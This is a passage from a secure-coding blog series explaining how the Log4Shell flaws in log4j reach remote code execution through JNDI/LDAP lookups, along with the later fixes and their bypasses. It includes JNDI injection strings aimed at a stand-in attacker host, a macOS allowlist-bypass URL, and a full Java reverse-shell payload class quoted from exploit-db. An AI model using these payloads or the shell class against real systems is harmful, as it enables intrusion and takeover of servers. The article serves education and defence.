Learn why JNDI and LDAP are two flavors that go great together, and what makes Log4Shell important from a secure coding perspective.

After introducing the vulnerability in log4j itself in the first part, in this second part of the article we’ll move on to the consequences, taking the log4j vulnerability from a “theoretically exploitable” function to a devastating RCE.

Remember, the root cause of the problem was in the templating subsystem of log4j, namely how it allowed using various placeholders not only in the configuration file, but also in log entries themselves. And attackers can trivially control your log entries!

Let’s see what they can do to with this to run arbitrary code on a remote computer running an application that uses log4j.

Interpolating JNDI – what could possibly go wrong?

The plot thickens further when we realize that a placeholder in a Lookup string can make use of the Java Naming and Directory Interface (JNDI). JNDI is a generic interface to interact with naming and directory services to find and fetch objects with metadata from different types of services. Among other things, a JNDI lookup can force the system to query a directory for a so-called directory object (which can be a marshalled or serialized Java object for some directories), fetch the data and then instantiate the object locally via unmarshalling (followed by remote class loading) or deserialization. In case of log4j, the results of the JNDI lookup will be converted into a String, and put into the log file. This already sounds dangerous because this implies the deserialization of Java objects based on arbitrary data. Developers of log4j added the feature of JNDI interpolation to log entries in log4j 2.0.0 beta 9 on July 17, 2013 – thus even before its first stable release, log4j v2 was vulnerable to JNDI injection!

To take this one step further, one of the directory services supported by JNDI is the Lightweight Directory Access Protocol (LDAP). But why is that a problem? Simple: an LDAP server can return an arbitrary marshalled object (see RFC 2713) which will be unmarshalled as part of the JNDI lookup process, essentially loading a class from a remote source.

Remote code execution via JNDI injection was famously demonstrated by Muñoz and Mirosh in A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land some time ago, at Black Hat 2016 via three different vectors (RMI, CORBA, and LDAP). JNDI LDAP manipulation was a hot topic in those years, riding on the back of object deserialization vulnerabilities. One of these attacks involved a malicious LDAP server returning a class file that the lookup process would then load and execute, causing RCE.

Those evil constructors

Now let’s circle back to log interpolation in log4j, and let’s say an attacker logged the following string:

${jndi:ldap://myevilserver.com/x}

As the first interpolation step, this made an LDAP lookup query to myevilserver.com:389 via JNDI. That server (controlled by the attacker) would then respond with an object like this (from exploit-db – note that host and port in the below code would be set by the attacker beforehand):

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
 
public class Exploit {
 
  public Exploit() throws Exception {
    String host="%s";
    int port=%s;
    String cmd="/bin/sh";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
      while(pi.available()>0)
        so.write(pi.read());
      while(pe.available()>0)
        so.write(pe.read());
      while(si.available()>0)
        po.write(si.read());
      so.flush();
      po.flush();
      Thread.sleep(50);
      try {
        p.exitValue();
        break;
      }
      catch (Exception e){
      }
    };
    p.destroy();
    s.close();
  }
}

The constructor of this class – as an intentional and malicious side-effect of the unmarshalling – would spawn a shell and then make it accessible via an attacker-specified port, ultimately giving the attacker remote access to the system.

There are some mitigations against this kind of attack in newer JDK versions: they only allow serialized Java objects instead of marshalled objects (i.e. class loading of objects from remote codebases). This limitation however still left the whole process exploitable, the attacker just needed to take a few extra steps – as explained by Moritz Bechler in this article. Basically, it was still possible to trigger RCE by sending a malicious serialized object whose class name was accessible in the JVM already (particularly org.apache.naming.factory.BeanFactory if the webapp was running on Tomcat). This technique, also known as Property Oriented Programming (POP, defined in Marshalling Pickles, Chris Frohoff’s classic 2015 talk that brought deserialization attacks to the forefront) can cause RCE as a side-effect of deserialization if the stream to be deserialized is prepared in a tricky way. See the JNDI-Exploit-Kit for examples.

The devil is in the details (and edge cases)

The log4j developers reacted quickly. The first fix in 2.15 added an allowlist for LDAP classes, hosts, and JNDI protocols (see the code snippet below) to the JMSAppender to eliminate the abuse shown above. By default, it only allowed local addresses for LDAP requests, only allowed primitive Java classes to be deserialized, and limited JNDI to the java, ldap and ldaps protocols.

Another fix disabled lookup formatting in log entries by default, meaning that unless lookups were explicitly enabled in code by using %m{lookups} for a particular pattern (which was obviously dangerous – if a programmer enabled it, it meant that they accepted the risks), log4j would take any text entering a log entry ‘as is’ without any interpolation. This change did not have any effects on the lookup in config files, though.

…
if (!allowedHosts.contains(uri.getHost())) {
    LOGGER.warn("Attempt to access ldap server not in allowed list");
    return null;
}
…
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
    LOGGER.warn("Deserialization of {} is not allowed", className);
    return null;
}
…

So far it looks like these solutions should have solved the problem. But when a vulnerability like this pops up in an open-source project, there is always a surge of activity as a lot of hackers are going to be looking for other vulnerabilities. Just consider how many vulnerabilities they have found in OpenSSL in 2014 immediately following the discovery of Heartbleed. And that’s exactly what happened here.

The second vulnerability was CVE-2021-45046 (CVSS 9.0). For starters, as identified by @pwntester (Alvaro Muñoz, the author of the 2016 JNDI/LDAP RCE paper) and demonstrated by @marcioalm, the above described validations didn’t work correctly on certain platforms.

A URL such as ldap://127.0.0.1#evilhost.com:389/a would get through the allowedHosts validation on macOS, because on that platform getHost() stopped at the # character. Thus, the validator would think that the host address was 127.0.0.1, but with the “right” (misconfigured) DNS resolver, JNDI would actually access evilhost.com to perform the lookup. The allowedClasses validation could also be bypassed in some cases by choosing a class name that was already in the JDK.

Back to JNDI configuration troubles

Moreover, even if the logger configuration did not allow JNDI lookups in log entries directly, the RCE was still possible if the JNDI lookup was part of a substitution in a configuration file that used a user-controlled (which of course means: attacker-controlled) value. For example, if the program was logging $${ctx:loginId} somewhere via a PatternLayout, this would need to be resolved by looking up the value corresponding to the loginId key in the ThreadContext map. Even though the username is usually not considered to be input, it is part of the attack surface. An attacker could obviously control it by registering to the system with a tricky username, say, ${jndi:ldap://myevilserver.com/x}. Then, during the text substitution step, log4j would first substitute this string, then it’d resolve the LDAP reference – and the RCE would fire again.

Another example, as raised by @alkalinesec, was having a configuration file that logged ${env:HTTP_USER_AGENT} in a CGI context – since HTTP requests are translated into environment variables in CGI, the attacker-controlled User-Agent parameter from the HTTP request could be used to set the HTTP_USER_AGENT environment variable to have a value of ${jndi:ldap://myevilserver.com/x}, and thus still achieve RCE. This was however – admittedly – a much smaller problem, since it required the logging configuration to be vulnerable.

log4j developers fixed this loophole in 2.16 by removing text substitution in log messages completely and disabling JNDI by default (unless log4j2.enableJndi was set in configuration, which was obviously dangerous).

However, this fix was not quite enough. In the final part of the article, we will present some further issues, and longer-term impacts that emerged from the exploitation of the original Log4Shell vulnerability. We will also draw the conclusion of the story from a software security standpoint. Until then, check out our Java courses dealing with the best practices that would have prevented all of the above in log4j code.

UPDATE! You can already access the third part of the article here.